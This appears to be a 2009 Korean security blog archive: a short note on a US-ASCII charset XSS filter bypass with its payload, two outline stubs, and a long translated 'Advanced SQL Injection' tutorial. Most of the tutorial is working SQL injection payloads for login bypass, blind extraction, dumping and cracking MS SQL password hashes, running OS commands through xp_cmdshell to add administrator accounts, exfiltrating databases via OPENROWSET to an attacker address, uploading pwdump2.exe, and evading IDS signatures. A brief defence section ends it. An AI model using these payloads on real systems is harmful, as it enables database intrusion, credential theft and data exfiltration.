예를 들어, 아래와 같은 문자열은 XSS차단필터에서 보면, 전혀 의미가 없는 문자열일 뿐이다.
%A2%BE%BCscript%BEalert(%A2XSS%A2)%BC/script%BE

그렇지만, 위의 문자열을 US-ASCII charset으로 디코딩을 하면 전혀 얘기가 달라진다. US-ASCII는 7비트만을 사용하기 때문에, 위의 의미없어 보이는 문자열은 다시 원래의 XSS공격 문자열로 디코딩되어 사용자의 브라우저에서 실행될 수 있다.

이렇게 되는 과정을 조금만 더 살펴보자.
위의 문자 중에서 %BC를 2진수로 풀어보면, 10111100 이다. 그런데, US-ASCII에서 7비트만을 사용하므로, 최상위 1비트를 무시하면, %BC는 00111100으로 해석되고 이것은 >문자가 되는 것이다.

이 공격 방법은 현재 Internet Explorer에서 동작하는 것으로 확인이 된다. 그리고 서버의 응답에서 Content-Type 선언의 charset을 변경시킬 수 있어야만 한다.

이 공격 방법이 포스팅된 블로그의 실제 예제를 한번 살펴보자.

링크는 별 문제없고, 코드도 실행되지 않는다.

그런데, 이 링크에서 charset을 UTF-8에서 US-ASCII로 변경하게 되면 다른 결과를 보여준다. 소스보기를 해보면, Content-Type선언의 charset이 US-ASCII로 설정된 것을 볼 수 있다.

<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">




2009/08/26 19:13 2009/08/26 19:13

Advanced_Topics_on_SQL_Injection_Protection


1.1. Input Validation
 
 
2.2. Static query statement
 
 
3.3. Least Privilege
 
 
4.4. Code Verification
 
 
5.5. Web Application Gateway
 
 
6.6. SQL Driver Proxy
 
 



2009/08/26 17:48 2009/08/26 17:48

Security Test Tools for Web Applications


1. Web applications and their security problems

2. The Test Applications

3. Security Check Tools: Capabilities, Limitations, practical Tips

4. Free Tools

5. Watchfire AppScan Audit

6. SPI WebInspect

7. Acunetix Web Vulnerability Scanner

8. Tools not evaluated

9. Comparison Table for Commercial Tools

10. Useful Auxiliary Tools

11. Conclusion

12. Further Information




2009/08/26 17:43 2009/08/26 17:43

Advanced SQL Injection

 

 

                  Written by Osiris Thomas

 

 


 

 

1 개요

SQL은 Structured Query Language의 표준이며, 사용자에게 데이터 베이스를 접근 할 수 있게 해준다. 현재 대부분 SQL99가 SQL Language의 표준이다. SQL은 DB에 대한 Query를 실행 시킬 수 있고, DB로부터 수정/검색/삽입/삭제/업데이트 할 수 있다.

 

 

1.1 SQL Query

SQL Language에는 많은 다른 버전이 있지만, 거의 비슷한 키워드의 명령어를 지원한다.(예: SELECT,UPDATE,DELETE,INSERT,WHERE 등) 대부분의 SQL 데이터베이스 프로그램은 SQL 표준 외에 그들 자신만의 확장된 언어를 가지고 있다. 관계형 데이터베이스는 하나 또는 그 이상의 테이블을 포함하고, 각각의 이름을 가진다. 테이블은 레코드단위로 데이터를 가진다.

) 아래의 테이블 명은 “user”이고 행과 열로서 데이터가 저장된다.

userID

Name

LastName

Login

Password

1

John

Smith

jsmith

hello

2

Adam

Taylor

adamt

qwerty

3

Daniel

Thompson

dthompson

dthompson

 

▪ 데이터 베이스로 SQL Query를 보내서, 결과 값을 되돌려 받을 수 있다. 위의 테이블을 이용해서 다음과 같은 Query를 사용 할 수 있다.

 

a) SELECT LastName FROM users WHERE UserID = 1;

b) 결과 값(레코드 셋)

LastName

Smith

 

 

1.2 DML & DLL

Data Manipulation Language(데이터 조작어) : SELECT ,UPDATE ,INSERT INTO DELETE와 같이 데이터를 조작하는 언어를 뜻 한다.

Data Definition Language(데이터 정의어) : 데이터 정의어로서 데이터베이스 테이블을 생성/삭제 하고, 인덱스(키)를 정의, 테이블 사이의 관계를 설정 하며, 데이터베이스 테이블 사이의 제약 조건을 설정한다.

) CREATE TABLE, ALTER TABLE, DROP TABLE등과 같은 구문

 

 

1.3  Metabata

대부분의 SQL 데이터베이스들은 관계형 데이터베이스 기반이다. SQL Injection을 위한 중요한 사실은 관계형 데이터 베이스는 Codd의 12법칙 중에서 4법칙을 확실히 따르고 있다는 것이다. 제4법칙 : 메타데이터(데이터베이스에 관한 데이터)는 반드시 일반적인 데이터들처럼 데이터베이스에 저장 되어야 한다. 또한 데이터 베이스구조는 SQL Query문을 통해서 읽거나 수정 할 수 있다

 

 

1.4 웹 어플리케이션

데이터베이스 엔진에 삽입하는 SQL 명령들은 애플리케이션을 통해 이용 가능하다. 이것은 오늘날의 대부분의 공통적인 웹사이트의 취약점 중에 하나이다. 이것은 Web Application의 발전에 따른 것이고, DB나 Web Server의 문제가 아니다. 대부분의 프로그래머들은 여전히 이 문제를 인식하지 못한다. 많은 지침서와 데모 템플릿이 취약 하다. 심지어 인터넷에 게시된 많은 솔루션들도 좋지 못하다. 모의 해킹을 의뢰한 60%가 넘는 고객의 시스템이 SQL Injection에 취약하다는 결과를 내놓는다. 대부분의 SQL 데이터베이스들 그리고 프로그래밍 언어들은 잠재적으로 취약하다. DBMS는 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix 등이 이다.

 

애플리케이션을 통한 데이터베이스 접근 방법

Perl and CGI scripts

ASP, JSP, PHP

XML, XSL and XSQL

no_javascript

VB, MFC, and other ODBC-based tools and APIs

DB specific Web-based applications and API’s

Reports and DB Applications

3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)

 

 

1.5 일반적인 취약한 로그인 쿼리

SELECT * FROM users WHERE login = 'victor' AND password = '123'

 

1) ASP/MS SQL Server 로그인 문법

var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

 

a)문자를 통한 Injection

formusr = ' or 1=1 – –

formpwd = anything

 

b) 최종 쿼리 결과

SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything'

 

2) PHP/MySQL 로그인 문법

$sql = "SELECT * FROM clients WHERE account = $formacct  AND pin = $formpin";

 

a) 숫자 입력 필드에 삽입

$formacct = 1 or 1=1 #

$formpin = 1111

 

b) 최종 쿼리 결과

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

 

2 SQL Injection 테스트 방법론 


 


1) 입력 값 검증

취약점은 어디든지 생길 수 있고, 아래의 사항을 모두 체크 해야 한다.

a) 웹 폼의 필드

b) URL 쿼리 스트링의 스크립트 파라미터 값

c) 쿠키 또는 히든 필드에 저장된 값

d) 아래의 문자열을 모든 입력 필드에 테스트해야 한다.

 

▪ 문자 : ' " ) # || + >

SQL Query 명령을 공백(구분자)과 같이:

%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec)

▪ 지연 쿼리:' waitfor delay '0:0:10'--

 

 

2) 정보 수집

아래의 항목들을 알아내려고 시도해야 한다.

 

a) 출력 메커니즘 연구하기

1. 웹 애플리케이션의 쿼리 결과 값을 이용한다.

2. 에러 메시지 : 에러 메시지로부터 입력 값 검증을 유추 할 수 있다.

3. Blind SQL Injection : 시간의 지연 또는 에러 메시지를 사용하여 정보를 추출한다. Blind SQL Injection은 SQL Injection과 거의 비슷하지만, 많은 Query를 통해서 정보가 수집해야 되고, 또한 필드 값이나 테이블명과 같은 정보를 추측해야 하므로, 매우 느리고 더욱 어렵다.

 

■ 에러 메시지를 통해서 정보 추출 하기

i. 그룹 핑 에러

' group by columnnames having 1=1 - -

 

ii. 타입의 불일치

' union select 1,1,'text',1,1,1 - -

' union select 1,1, bigint,1,1,1 - -

 

iii. 더 좋은 방법으로, DB에서 하위 Query를 이용 한다.

' and 1 in (select 'text' ) - -

 

iv. 데이터를 CAST또는 CONVERT연산자를 이용한 에러메시지 도출도 필요하다.

 

Blind Injection

i. 출력 시 나오는 다른 출력 값을 이용

' and condition  and '1'='1

 

ii. IF문을 사용

'; if condition  waitfor delay '0:0:5' --

'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;

 

iii. 추가적으로 우리는 모든 타입의 Query를 실행 할 수 있지만, 출력된 정보에 대해 디버깅할 수는 없다. 우리는 단지 yes/no 응답을 얻을 수 있다. 또한, 특정 필드의 데이터에 대한 ASCII값을 추출 할 수 있다. 매우 까다로운 작업이지만, SQueaL과 같은 자동화된 툴도 있다.

 

b) 쿼리의 이해

i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을 이용한다.

SELECT  * FROM table WHERE x = 'normalinput' group by x having 1=1 --

GROUP BY x HAVING x = y ORDER BY x

 

ii. UPDATE 명령문 – 아래와 같이 웹 애플리케이션에서 당신의 패스워드 부분을 수정 할 수 있다.

UPDATE users    SET password = 'new password'  WHERE login = logged.user
AND password = 'old password'

 

c) 데이터베이스 타입의 결정

대부분의 경우 에러 메시지는 어떤 DB엔진을 사용하는지 출력 한다. ODBC에러는 DB 타입 (드라이브 정보의 부분으로써)을 나타낸다. 만약에 ODBC 에러가 발생하지 않으면, 어떤 OS와 Web Sever를 사용하지를 추측해야 하거나 특별한 DB문자, 명령어, 저장된 프로시저를 통한 에러 메시지를 사용해야 한다.

 

DBMS별 차이점 (1)



 

DBMS별 차이점 (2)

 


 

d) 사용자의 권한 레벨을 알아 낸다.

i. 사용자의 권한 레벨을 알아 내기 위해서는 대부분의 SQL에서 구현되는 SQL99 내장된 아래와 같은 기능을 가지고 있다.

user  or current_user

session_user

system_user

' and 1 in (select user ) --

'; if user ='dbo' waitfor delay '0:0:5 '--

' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );

 

ii. 기본 관리자 계정

sa, system, sys, dba, admin, root 등

 

iii. MS SQL 에서 dbo는 매핑 되어 있다. 사용자 dbo는 DB에서 모든 활동을 수행할 수 있는 권한을 가지고 있다. 서버의 고정된 규정에 의하면 Sysadmin의 DB를 사용하는 어떤 유저는 각 DB에서 dbo라고 불리는 특별한 사용자에게 매핑 되어 있다. 또한 sysadmin의 어떤 사용자에 의해 만들어진 객체는 자동적으로 dbo를 가진다.

 

e) OS interaction 레벨을 결정

 

3) 1=1 Attacks

 데이터 베이스, 쿼리구조, 권한에 관한 정보를 알게 되면, 공격이 가능해 진다.

 

a) 테이블에 정의된 사용자를 열거하는 Query

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

 

b) DB에서 테이블 컬럼명을 열거하는 쿼리

MS SQL

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ')

sp_columns tablename (this stored procedure can be used instead)

MySQL

show columns from tablename

 

Oracle

SELECT * FROM all_tab_columns WHERE table_name='tablename '

DB2

SELECT * FROM syscat.columns WHERE tabname= 'tablename '

Postgres

SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0

 

c) 모든 테이블과 컬럼명을 하나의 Query로 질의 하기

' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1  from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --

 

d) 서버에서 다른 데이터베이스 질의 하기

' and 1 in (select min(name ) from  master.dbo.sysdatabases where name >'.' ) --

 

e) 데이터 베이스의 파일 위치 질의 하기

' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --

 

d) 각 DBMS별 시스템 테이블

MySQL

MS SQL Server

Oracle

MS Access

mysql.user

mysql.host

mysql.db

 

sysobjects

syscolumns

systypes

sysdatabases

 

SYS.USER_OBJECTS

SYS.TAB

SYS.USER_TEBLES

SYS.USER_VIEWS

SYS.ALL_TABLES

SYS.USER_TAB_COLUMNS

SYS.USER_CATALOG

MsysACEs

MsysObjects

MsysQueries

MsysRelationships

 

 

e) 사용자가 정의된 테이블에서 사용자이름과 패스워드 추출하기

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' '

 from users where login>@var select @var as var into temp end --

' or 1 in (select var from temp) --

' ; drop table temp --

 

f) 데이터베이스에 계정 생성하기

MS SQL

exec sp_addlogin ' victor ', 'Pass123'

exec sp_addsrvrolemember 'victor', 'sysadmin'

MySQL

INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD(' Pass123'))

Access

CREATE USER victor IDENTIFIED BY ' Pass123'

Postgres (requires UNIX account)

CREATE USER victor WITH PASSWORD ' Pass123'

Oracle

CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;

GRANT CONNECT TO victor;

GRANT RESOURCE TO victor;

 

g) MS SQL Server 해쉬값 추출하기

i. 간단한 방법

SELECT name, password FROM master..sysxlogins

 

ii. 패스워드 해쉬값 추출하기

SELECT password FROM master..sysxlogins


 

   ii. 해쉬값이 2진수(binary)이므로 16진수(hex)로 변환한다.

begin @charvalue='0x', @i=1, @length=datalength(@binvalue),

@hexstring = '0123456789ABCDEF'

while (@i<=@length) BEGIN

declare @tempint int, @firstint int, @secondint int

select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))
select @firstint=FLOOR(@tempint/16) 
select @secondint=@tempint - (@firstint*16)
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +

SUBSTRING (@hexstring, @secondint+1, 1) 

select @i=@i+1  END

 

   iii. 한번에 실행하는 명령어

'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin  declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)  select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)  select @i=@i+1  end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end –

 

   vi. 에러 메시지를 통해서 해쉬 값 추출하기

' and 1 in (select x from temp) --

' and 1 in (select substring (x, 256, 256) from temp) --

' and 1 in (select substring (x, 512, 256) from temp) --

' drop table temp --

 

 

 

 

 

 


 

   v. 패스워드 무작위 대입

SQL 패스워드 크랙 스크립트

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0

drop table tempdb..passwords

 


 

   vi. DB구조와 데이터 전송하기

만약에 네트워크 연결이 되어 있으면 80번 포트를 통해서 리버스 연결이 성립 할 수 있고, 모든 DB가 우리의 로컬 SQL 서버에 전송 할 수 있다. 데이터 베이스의 메타데이터 전송으로 로컬 SQL 서버에 동일한 DB구조를 생성 할 수 있다.

Step 1. 로컬 SQL서버에 Victim과 동일한 DB구조 생성

 

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --

'; insert into                                                  
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')                  
select * from user_database.dbo.sysobjects --

'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --

 


 

step 2. 데이터를 DB 테이블을 아래의 방법을 통하여 쉽게 전송 할 수 있다.

'; insert into

OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table1')

select * from database..table1 --

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table2')

select * from database..table2 --

 


 

5) OS Interaction

OS Interaction에는 두 가지 방법이 있는데, 명령어를 읽기/실행 가능성은 DB엔진과 DB 설정에 달려있다. 두 가지 경우모두 권한이 DB 엔진 관리자에게 제한 되어있다. 만약 우리가 파일을 읽기/쓰기 가능하면, 우리는 패스워드와 설정 정보가 들어 있는 DB파일을 변경 할 수 있다. 또한 우리가 OS 명령어를 실행 할 수 있으면, 무엇이든지 할 수 있다.

 

a) MySQL OS Interaction

 

i. LOAD_FILE

' union select 1,load_file('/etc/passwd'),1,1,1;

 

 


 

ii. LOAD DATA INFILE

create table temp( line blob );

load data infile '/etc/passwd' into table temp;

select * from temp;

 

 

 

 


 

iii. SELECT INTO OUTFILE

 

b) MS SQL OS Interaction

'; exec master..xp_cmdshell 'ipconfig > test.txt' --

'; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

 


 

▪ 웹 서버에서 DB에 접근 하는 구조

대부분의 경우 웹 서버와 DB서버는 같지 않고, DB서버는 Internet에 연결 되어 있지 않아도 애플리케이션 서버를 통해서 명령을 실행 할 수 있다.

 

 

 

 

 


▪ 네트워크 연결에 접근

i. 서버 이름을 에러 메시지로 출력하기

' and 1 in (select @@servername ) --

' and 1 in (select srvname from master..sysservers ) --

 

 

 


 

ii. Reverse lookups를 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'nslookup a.com MyIP' --

 

 


 

iii. Revers ping을 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'ping MyIP' --

 

 

 

 

iv. OPENROWSET

'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;',
'select * from table')

 

 

 

 

▪ 네트워크 예비 점검

i. 확장 프로시저 xp_cmdshell를 이용하여 아래의 명령을 실행

Ipconfig /all

Tracert  myIP

arp -a

nbtstat -c

netstat -ano

route print

 

 

 

 

 

 

 

 

ii. 네트워크 예비 점검 전체 Query

'; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --

'; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,255) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

 


 

 

6) OS 명령 프롬프트

i. OS로 점프하기

Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;

MS SQL Windows Password Creation

'; exec xp_cmdshell 'net user /add victor Pass123'--

'; exec xp_cmdshell 'net localgroup /add administrators victor' --

Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' --

 

 

 

 

 

 

 

 

 


 

ii. ActiveX 자동 스크립트 이용

Speech example

'; declare @o int, @var int                                    
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed', 150            
exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1
waitfor delay '
00:00:03' --

 


 

iii. 레지스트리로부터 VNC 패스워드 찾기

'; declare @out binary(8)
exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password',
@value = @out output
select cast(@out as bigint) as x into TEMP--

' and 1 in (select cast(x as varchar) from temp) --

 

 

 

 

 

 

 

 

 


 


7) 확장된 효과

▪ 다른 DB서버에 연결 하기

 

i. MS SQL에 링크된 서버를 찾기

select * from sysservers

 

 

 

 

 

ii. OPENROWSET 명령을 사용하여 쉽게 다른 서버를 접근 할 수 있다.

 

iii. 같은 전략으로 OPENROWSET을 이용한 리버스 연결로 쉽게 접근 할 수 있다.

 

▪ 링크된 서버에도 접속이 가능하다.

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_sysservers')

select * from master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysservers')

select * from LinkedServer.master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysdatabases')

select * from LinkedServer.master.dbo.sysdatabases

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

▪ 저장된 프로시저를 통한 원격 접속 실행

만약에 원격 서버에 저장된 프로시저 실행이 허용되어 있다면 가능할 것이다.

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *

from mydatabase..hacked_sysservers')

exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from

mydatabase..hacked_sysdatabases')

exec Linked_Server.master.dbo.sp_executesql N'select * from

master.dbo.sysdatabases'

 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

Reverse 연결을 통한 파일 업로드

'; create table AttackerTable (data text) --

'; bulk insert AttackerTable --
from 'pwdump2.exe' with (codepage='RAW')

'; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','  MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --

'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --

 


 

SQL Injection 통한 파일 업로드

만약 DB서버가 인터넷 연결이 되지 않더라도, 여전히 파일은 업로드 될 수 있다. 그러나 파일은 반드시 16진수 그리고 Query 문자의 일부로 보내어 져야만 한다. 파일은 반드시 각 4000 byte로 나누어 져야 한다.

 

) 간단한 SQL Injection 파일 업로드

Step 1. 먼저 원격에서 hex를 binary로 변환 해줄 프로시저가 injection되어야 한다.

Step 2. 다음 binary를 hex 조각으로 Injection 해야 한다.

 

' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000…
← 8000개의  hex 문자(4000byte) →…0000000000000000000
' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --

 


 

Step 3. binary를 연결시키고, 파일을 디스크에 저장 할 수 있다

 

 

3 회피 기술

 

3.1 개요.

입력 값 검증 우회 그리고 IDS 우회 기술은 매우 비슷하다. Snort 기반의 SQL Injection 탐지는 부분적으로 가능하다. 그러나 이것은 “sinatures”에 의존한다. ”signatures”은 쉽게 피할 수 있다. 입력 값 검증, IDS 탐지 그리고 견고한 DB, OS 설정은 반드시 같이 사용 되어져야 한다.

 

3.2 IDS “signature” 우회

 

1) ‘OR 1=1 “signature”우회하기

 아래와 같은 문자를 삽입해서 우회 할 수 있다.

' OR 'unusual' = 'unusual'

' OR 'something' = 'some'+'thing'

' OR 'text' = N'text'

' OR 'something' like 'some%'

' OR 2 > 1

' OR 'text' > 't'

' OR 'whatever' IN ('whatever')

' OR 2 BETWEEN 1 AND 3

 

 

 

 

 

 

 

 

 


 

3.3 입력 값 검증 우회 하기

PHP addslashes() 함수를 사용하는 사람은 문자열을 벗어 날수 있다.

single quote (')

double quote (")

backslash (\)

NUL (the NULL byte)

 

 

 

 

 


 

▪ 숫자 필드에서 위의 문자로 대체 함으로써 쉽게 우회 가능하다.

 

3.4 회피와 우회

 

i. 아래의 매개변수 인코딩 방법으로 IDS, 입력 값 검증을 우회 할 수 있다.

URL encoding

Unicode/UTF-8

Hex enconding

char() function

 

 

 

 

 


 

ii. MySQL 입력 값 검증은 Char()를 사용함으로써 우회 할 수 있다.

 인용 부호를 제외한 Inject  (string = "%"):

' or username like char(37);

▪ 인용 부호를 제외한 Inject (string = "root"):

' union select * from users where login = char(114,111,111,116);

Load files을 이용한 unions 사용 (string = "/etc/passwd"):

' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

▪ 존재하는 파일을 체크(string = "n.ext"):

' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

 


 

iii. 공백을 이용한 IDS Sinature 우회

UNION SELECT Signature와 UNION[탭]SELECT signature은 다르게 인식된다

▪ 탭, 캐리지 리턴, 라인 피드, 공백이 주로 이용 된다.

▪ 몇몇 IDS 는 공백처리를 무시하므로 공백을 생략하는 것이 좋은 방법이 될 수도 있다.

'OR'1'='1' (공백 없이) 은 에러 없이 처리 되어 진다.

 

iv. 주석 처리를 이용한 IDS Signature 회피

 /* … */ 은 SQL99에서 여러 줄 을 주석 처리 할 때 사용되는 기호 이다

UNION/**/SELECT/**/

'/**/OR/**/1/**/=/**/1

▪ 여러 개의 필드에 걸친 Injection을 허용한다

USERNAME:  ' or 1/*

PASSWORD:  */ =1

 

 

 

 

 

 

 

 


 

v. 스트링 연결자를 이용한 IDS Signature 우회 

▪ 아래와 같이 텍스트 연결 할 수 있고, 특정한 DB 명령을 사용 할 수 있다.

My SQL

UNI/**/ON SEL/**/ECT

Oracle

'; EXECUTE IMMEDIATE  'SEL' || 'ECT US' || 'ER'

MS SQL

'; EXEC ('SEL' + 'ECT US' + 'ER')

 

 

 

 

 

 

 

 


 

vi. 변수를 이용하여 IDS, 입력 값 검증 우회 하기

▪ 변수를 이용

; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');

EXEC (@x)

EXEC SP_EXECUTESQL @x

▪ 헥사를 이용

; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)

위의 명령어는 (‘)를 사용하지 않았다.

 

 

 

 

 

 

 

 

 

 

 

 


 

4 SQL Injection 대응 방안

4.1 개요

간단한 방법으로 입력 값 검증은 가장 중요한 부분 중에 하나 이다. 당신은 반드시 입력 값 검증을 모든 새로운 애플리케이션에 실시해야 한다. 그리고 당신은 존재하는 코드와 웹사이트를 조사해 봐야 한다. 추가적으로 서버를 견고하게 운영해야 한다. 데이터 베이스의 데이터 접근을 저장된 프로시저를 통하여 접근하고, 저장된 프로시저를 사용할 때 매개변수화 된 API를 이용하라. 모든 입력 값 검증은 일반적인 루틴을 이용하고, 최소한의 권한을 DB 사용자 에게 적용하라.

1) 입력 값 검증

각 필드를 위한 데이터 타입의 정의 되고, 정의된 타입만 허용 되어야 한다. 그리고 입력된 값의 검증을 위해서 필터를 사용해야 한다. 알려진 Injection 문자열에 대한 필터는 철저히 구현 되여야 한다. 아래와 같은 문자열은 반드시 제거 되어야 한다.

) “"select", "insert", "update", "shutdown", "delete", "drop", "--", "'"

2) 서버를 견고하게 운영하기

1. DB 최소권한의 유저로 운영하라.

2. 사용하지 않는 저장된 프로시저와 기능들은 제거하거나 관리자에게 제한된 접근 권한을 주어라.

3. 퍼미션을 변경하고, 공개된 시스템 객체에 접근을 제거 하라.

4. 모든 사용자 계정의 패스워드를 강화 시켜라

5. 미리 승인된 서버의 링크를 제거 하라.

6. 사용하지 않는 네트워크 프로토콜을 제거하라.

7. 신뢰할 수 있는 네트워크,웹 서버, 백업 서버만 접근을 허용하라.

 

4.2 탐지 및 제한시키기

SQL Injection 시도에 대한 탐지 원한다면, SQL Injection 시도를 로그에 남기고, 이 메일로 경고장을 보내고, IP차단 하고, 올바르지 않은 에러 메시지를 보내도록 설정하라. 이것들은 검증 스크립트에 코드와 되어야 한다.

 

4.3 결론

    SQL Injection 은 매혹적이고, 아주 위험한 취약점이다. 모든 프로그램 언어 그리고 SQL DB는 잠재적인 취약점을 가지고 있다. 보호 하기 위해서는 강력한 디자인, 정확한 입력 값 검증, 견고하게 서버를 운영 해야 한다.

 

참조자료 및 문서

[1] Advanced SQL Injection, (http://www.owasp.org).

출처 osiris kisec 14th




2009/08/26 17:42 2009/08/26 17:42